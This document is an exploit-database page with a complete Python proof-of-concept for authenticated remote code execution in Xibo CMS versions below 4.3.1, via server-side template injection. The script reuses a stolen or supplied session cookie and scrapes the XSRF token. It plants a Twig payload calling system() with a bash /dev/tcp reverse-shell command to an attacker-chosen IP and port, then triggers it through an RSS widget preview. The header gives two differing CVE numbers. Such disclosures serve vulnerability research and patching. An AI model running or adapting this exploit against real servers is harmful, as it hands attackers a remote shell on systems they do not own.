Share
## https://sploitus.com/exploit?id=PACKETSTORM:220365
# Exploit Title: Xibo CMS - Authenticated Remote Code Execution via SSTI
    # Date: 2025-11-04
    # Exploit Author: Cristian Branet
    # Vendor Homepage: https://xibosignage.com/
    # Software Link: https://github.com/xibosignage/xibo-cms/
    # Version: < 4.3.1
    # Tested on: Linux (Ubuntu 22.04)
    # CVE : CVE-2025-62639
    # Article: https://cristibtz.github.io/posts/CVE-2025-62369/
    
    import requests, argparse, pyfiglet, re, json, time
    
    parser = argparse.ArgumentParser(description="This script exploits CVE-2025-62369 in Xibo CMS to get a reverse shell.", formatter_class=argparse.ArgumentDefaultsHelpFormatter)
    parser.add_argument("-u", "--url", required=True, help="Xibo CMS server URL (e.g., http://localhost)")
    parser.add_argument("-s", "--session-key", required=True, help="Use the PHPSESSID")
    parser.add_argument("-i", "--ip", required=True, help="IP address for reverse shell")
    parser.add_argument("-p", "--port", required=True, help="Port for reverse shell")
    
    class Exploit:
        
        def __init__(self, url, session, ip, port):
            self.url = url
            self.session = session
            self.ip = ip
            self.port = port
            self.headers = {
                "Cookie": f"PHPSESSID={session}",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36"
            }
    
        def get_xsrf_token(self):
    
            try:            
                response = requests.get(f"{url}/statusdashboard", headers=self.headers)
            except Exception as e:
                print(f"Error connecting to {url}: {e}")
                exit(1)
    
            text = response.text
    
            pattern = r'name="token" content="([a-f0-9]+)"'
            
            try:
                xsrf_token = re.search(pattern, text).group(1)
            except Exception as e:
                print(f"Error extracting XSRF token: {e}")
                exit(1)
    
            return xsrf_token
    
        def create_module_template(self, xsrf_token):
    
            timestamp = int(time.time())
    
            headers = {
                "Cookie": f"PHPSESSID={session}",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
                "X-XSRF-TOKEN": f"{xsrf_token}",
                "X-Requested-With": "XMLHttpRequest"
            }
    
            data = {
                "templateId": f"exploit_poc_{timestamp}", 
                "title": "Template for PoC",
                "dataType": "article",
                "copyTemplateId": "",
                "showIn": "layout"
            }    
    
            try:
                response = requests.post(f"{self.url}/developer/template", data=data, headers=headers)
            except Exception as e:
                print(f"Error creating module template: {e}")
                exit(1)
    
            response_info = json.loads(response.text)
    
            template_id = response_info["id"]
    
            return template_id, timestamp, f"exploit_poc_{timestamp}"
    
    
        def update_module_template(self, xsrf_token, template_id, name):
    
            headers = {
                "Cookie": f"PHPSESSID={session}",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
                "X-XSRF-TOKEN": f"{xsrf_token}",
                "X-Requested-With": "XMLHttpRequest"
            }
    
            data = {
                "templateId":f"{name}",
                "title": f"Template for PoC - {name}",
                "dataType": "article",
                "showIn": "layout",
                "enabled": "on",
                "developer-template-properties": [],
                "properties": [],
                "twig": '<div style="background: red; color: white; font-size: 24px; padding: 20px;">Command Execution: {{["' + f"bash -c 'bash -i >& /dev/tcp/{ip}/{port} 0>&1'" + '"]|filter(\'system\')}} <br></div>',
                "hbs": "",
                "style": "",
                "head": "",
                "onTemplateRender": "",
                "onTemplateVisible": "",
                "isInvalidateWidget": "on"
            }    
    
            try:
                response = requests.put(f"{self.url}/developer/template/{template_id}", data=data, headers=headers)
            except Exception as e:
                print(f"Error updating module template: {e}")
                exit(1)
    
            response_info = json.loads(response.text)
    
            return response_info["success"]
    
        def create_normal_template(self, xsrf_token):
    
            timestamp = int(time.time())
    
            headers = {
                "Cookie": f"PHPSESSID={session}",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
                "X-XSRF-TOKEN": f"{xsrf_token}",
                "X-Requested-With": "XMLHttpRequest"
            }
    
            data = {
                "folderId": 1,
                "name": f"exploit_poc_template_{timestamp}",
                "tags": "",
                "tagValueInput": "",
                "resolutionId": 1,
                "description": "Exploit template"
            }    
    
            try:
                response = requests.post(f"{self.url}/template", data=data, headers=headers)
            except Exception as e:
                print(f"Error creating normal template: {e}")
                exit(1)
    
            response_info = json.loads(response.text)
    
            template_id = response_info["id"]
            layout_id = response_info["data"]["layoutId"]
            region_id = response_info["data"]["regions"][0]["regionId"]
            playlist_id = response_info["data"]["regions"][0]["regionPlaylist"]["playlistId"]
    
            return template_id, layout_id, region_id, playlist_id
    
        def add_rss_widget(self, xsrf_token, playlist_id, name):
            
            headers = {
                "Cookie": f"PHPSESSID={session}",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
                "X-XSRF-TOKEN": f"{xsrf_token}",
                "X-Requested-With": "XMLHttpRequest"
            }
    
            data = {
                "templateId": f"{name}",
            }
    
            try:
                response = requests.post(f"{url}/playlist/widget/rss-ticker/{str(int(playlist_id) + 1)}", data=data, headers=headers)
            except Exception as e:
                print(f"Error adding RSS widget: {e}")
                exit(1)
        
            response_info = json.loads(response.text)
    
            widget_id = response_info["id"]
    
            return widget_id
    
        def preview_rss_widget(self, xsrf_token, widget_id, playlist_id):
            
            headers = {
                "Cookie": f"PHPSESSID={session}",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
                "X-XSRF-TOKEN": f"{xsrf_token}",
                "X-Requested-With": "XMLHttpRequest"
            }
    
            try:
                response = requests.get(f"{url}/playlist/widget/resource/{str(int(playlist_id) + 1)}/{widget_id}?preview=1&isEditor=1", headers=headers)
            except Exception as e:
                print(f"Error previewing RSS widget: {e}")
                exit(1)
    
            return response.status_code
    
    if __name__=="__main__":
        print("\n")
        print(pyfiglet.figlet_format("CVE-2025-62369 PoC", font="small", width=100))
        print("Author: Cristian Branet")
        print("GitHub: github.com/cristibtz")
        print("Description: This script exploits CVE-2025-62369 in Xibo CMS to get a reverse shell.")
        print("\n")
    
        args = parser.parse_args()
        url = args.url
        session = args.session_key
        ip = args.ip
        port = args.port
    
        xibo_exploit = Exploit(url, session, ip, port)
    
        try:
            xsrf_token = xibo_exploit.get_xsrf_token()
        except Exception as e:
            print(f"Error getting XSRF token: {e}")
            exit(1)
        
        print("Retrieved XSRF token: ")
        print(xsrf_token)
    
        try:
            module_template_id, creation_time, name = xibo_exploit.create_module_template(xsrf_token)
        except Exception as e:
            print(f"Error creating module template: {e}")
            exit(1)
    
        print(f"Created module template with id: {module_template_id} with name: {name}")
    
        try:
            update_success = xibo_exploit.update_module_template(xsrf_token, module_template_id, name)
        except Exception as e:
            print(f"Error updating module template: {e}")
            exit(1)
    
        print(f"Updated module template with success: {update_success}")
    
        print("Creating normal template...")
    
        try:
            normal_template_id, layout_id, region_id, playlist_id = xibo_exploit.create_normal_template(xsrf_token)
        except Exception as e:
            print(f"Error creating normal template: {e}")
            exit(1)
        
        print("Created normal template with: ")
    
        print(f"Normal Template ID: {normal_template_id}")
        print(f"Layout ID: {layout_id}")
        print(f"Region ID: {region_id}")
        print(f"Playlist ID: {playlist_id}")
    
        print("Adding RSS widget to playlist...")
    
        try:
            widget_id = xibo_exploit.add_rss_widget(xsrf_token, playlist_id, name)
        except Exception as e:
            print(f"Error adding RSS widget: {e}")
            exit(1)
    
        print(f"Added RSS widget with ID: {widget_id}")
    
        print("Previewing RSS widget to trigger the exploit...")
    
        try:
            status_code = xibo_exploit.preview_rss_widget(xsrf_token, widget_id, playlist_id)
        except Exception as e:
            print(f"Error previewing RSS widget: {e}")
            exit(1)
    
        if status_code == 200:
            print("Exploit triggered successfully! Check your listener for a reverse shell.")
        else:
            print("Failed to trigger the exploit.")